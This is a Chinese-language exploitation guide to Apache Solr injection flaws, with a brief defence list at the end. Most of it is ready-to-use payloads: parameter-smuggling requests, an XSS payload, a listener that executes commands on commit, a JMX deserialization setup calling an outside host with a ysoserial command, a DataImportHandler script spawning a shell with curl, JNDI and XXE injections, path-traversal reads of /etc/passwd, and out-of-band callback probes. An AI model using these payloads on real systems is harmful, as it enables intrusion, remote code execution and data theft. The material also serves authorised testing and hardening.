Apache Solr Injection Research
字数 1638 2025-08-26 22:12:02
Apache Solr 注入漏洞研究与利用指南
概述
Apache Solr 是一个开源企业搜索平台,使用 Java 语言开发,隶属于 Apache Lucene 项目。主要功能包括全文检索、命中标示、分面搜索、动态聚类以及文档处理。Solr 提供了大量高效的 REST API 接口,默认不需要身份验证即可访问,这使得它容易出现 SSRF、CSRF 和 HTTP 请求走私等漏洞。
Solr API 基础
启动 Solr 实例后(./bin/solr start -e dih),会在 8983 端口创建 web 服务器。主要查询参数包括:
/solr/db/select- "db"是仓库名称,"/select"表示搜索操作(由 SearchHandler 类处理)q={!dismax df=name}Apple- 通过"dismax"查询解析器在"name"字段搜索"Apple"fl=*,score,similar:[subquery]- 指定返回字段,可通过[subquery]包含另一个查询结果
Apache Solr 注入漏洞
1. Solr 参数注入(HTTP 请求走私)
当应用程序对 Solr 进行 HTTP API 调用时未正确编码用户输入,可能导致参数注入。例如:
@RequestMapping("/search")
public Object search1(@RequestParam String q) {
String solr = "http://solrserver/solr/db/";
String query = "/select?q=" + q + "&fl=id,name&rows=10";
return http.get(solr + query);
}
攻击者可构造恶意请求:
/search?q=Apple%26xxx=yyy
导致服务器请求:
/solr/db/select?q=Apple&xxx=yyy
关键利用参数
shards=http://127.0.0.1:8983/- 将请求转发到恶意 Solr 服务器qt=/update- 重写请求处理端点shards.qt=/update- 重写请求处理端点stream.body=xxx- 重写整个请求(旧版本)
利用示例
修改 Solr 配置:
/search?q=Apple&shards=http://127.0.0.1:8983/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
XSS 攻击:
/solr/db/select?indent=on&q=*&wt=xml&fl=price,name:[value+v='<a:script+xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>'],name:[xml]
2. Solr 本地参数注入
当参数 q 被正确编码但仍可指定解析类型和本地参数:
/search?q={!type=_parser_type_+param=value}xxx
利用示例
XXE 攻击(CVE-2017-12629):
/search?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://127.0.0.1:/solr/gettingstarted/upload?stream.body={"xx":"yy"}&commit=true"'><a></a>'}
跨集合查询:
/search?q={!join from=id fromIndex=anotherCollection to=other_id}Apple
RCE 方法总结
1. [CVE-2017-12629] 通过 RunExecutableListener 实现 RCE
适用版本:5.5x-5.5.5, 6x-v6.6.2, 7x - v7.1
添加恶意监听器:
POST /solr/db/config HTTP/1.1
{
"add-listener": {
"event":"postCommit",
"name":"newlistener",
"class":"solr.RunExecutableListener",
"exe":"nslookup",
"dir":"/usr/bin/",
"args":["solrx.x.artsploit.com"]
}
}
触发执行:
GET /solr/db/select?q=xxx&shards=localhost:8983/solr/db/update%23&commit=true
2. [CVE-2019-0192] 通过 jmx.serviceUrl 实现反序列化
适用版本:5.x ~ 7.x
设置恶意 JMX 服务 URL:
POST /solr/db/config HTTP/1.1
{
"set-property": {
"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://artsploit.com:1617/jmxrmi"
}
}
利用 ysoserial 创建 RMI 服务器:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1617 ROME2 "calc"
3. [CVE-2019-0193] 通过 dataImportHandler 实现 RCE
适用版本:1.3 – 8.2
要求:启用 DataImportHandler
JavaScript 注入:
/solr/db/dataimport?command=full-import&dataConfig=<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[function f1(data){new java.lang.ProcessBuilder(["/bin/sh","-c","curl 127.0.0.1:8984/xxx"]).start()}]]></script>
<document>
<entity name="xx" url="http://localhost:8983/solr/admin/info/system" processor="XPathEntityProcessor" forEach="/response" transformer="HTMLStripTransformer,RegexTransformer,script:f1">
</entity>
</document>
</dataConfig>
JNDI 注入:
/solr/db/dataimport?command=full-import&dataConfig=<dataConfig>
<dataSource type="JdbcDataSource" driver="com.sun.rowset.JdbcRowSetImpl" jndiName="rmi://localhost:6060/xxx" autoCommit="true"/>
<document>
<entity name="xx">
</entity>
</document>
</dataConfig>
4. [CVE-2012-6612, CVE-2013-6407, CVE-2013-6408] Update 中的 XXE
适用版本:1.3 - 4.1 or 4.3.1
POST /solr/db/update HTTP/1.1
<!DOCTYPE x [<!ENTITY xx SYSTEM "/etc/passwd">]>
<add>
<doc>
<field name="id">&xx;</field>
</doc>
</add>
5. [CVE-2013-6397] 通过路径遍历和 XSLT 响应写入实现 RCE
适用版本:1.3 - 4.1 or 4.3.1
要求:可上传 XLS 文件
/solr/db/select/?q=31337&wt=xslt&tr=../../../../../../../../../../../../../../../../../usr/share/ant/etc/ant-update.xsl
6. [CVE-2017-3163] 通过 ReplicationHandler 实现任意文件读取
适用版本:5.5.4~6.4.1
/solr/db/replication?command=filecontent&file=../../../../../../../../../../../../../etc/passwd&wt=filestream&generation=1
黑盒测试方法
发送以下 OOB Payload 检测漏洞:
/xxx?q=aaa%26shards=http://callback_server/solr
/xxx?q=aaa&shards=http://callback_server/solr
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://callback_server/solr'><a></a>"}
防御建议
- 升级到最新版本 Solr
- 启用身份验证和授权
- 对用户输入进行严格过滤和编码
- 禁用不必要的功能模块(如 DataImportHandler)
- 配置网络防火墙限制 Solr 服务器出站连接
总结
Apache Solr 存在多种注入漏洞,攻击者可利用这些漏洞读取敏感数据、修改配置甚至实现远程代码执行。无论 Solr 是面向 Internet 还是仅内部使用,都应采取适当的安全措施防止参数注入攻击。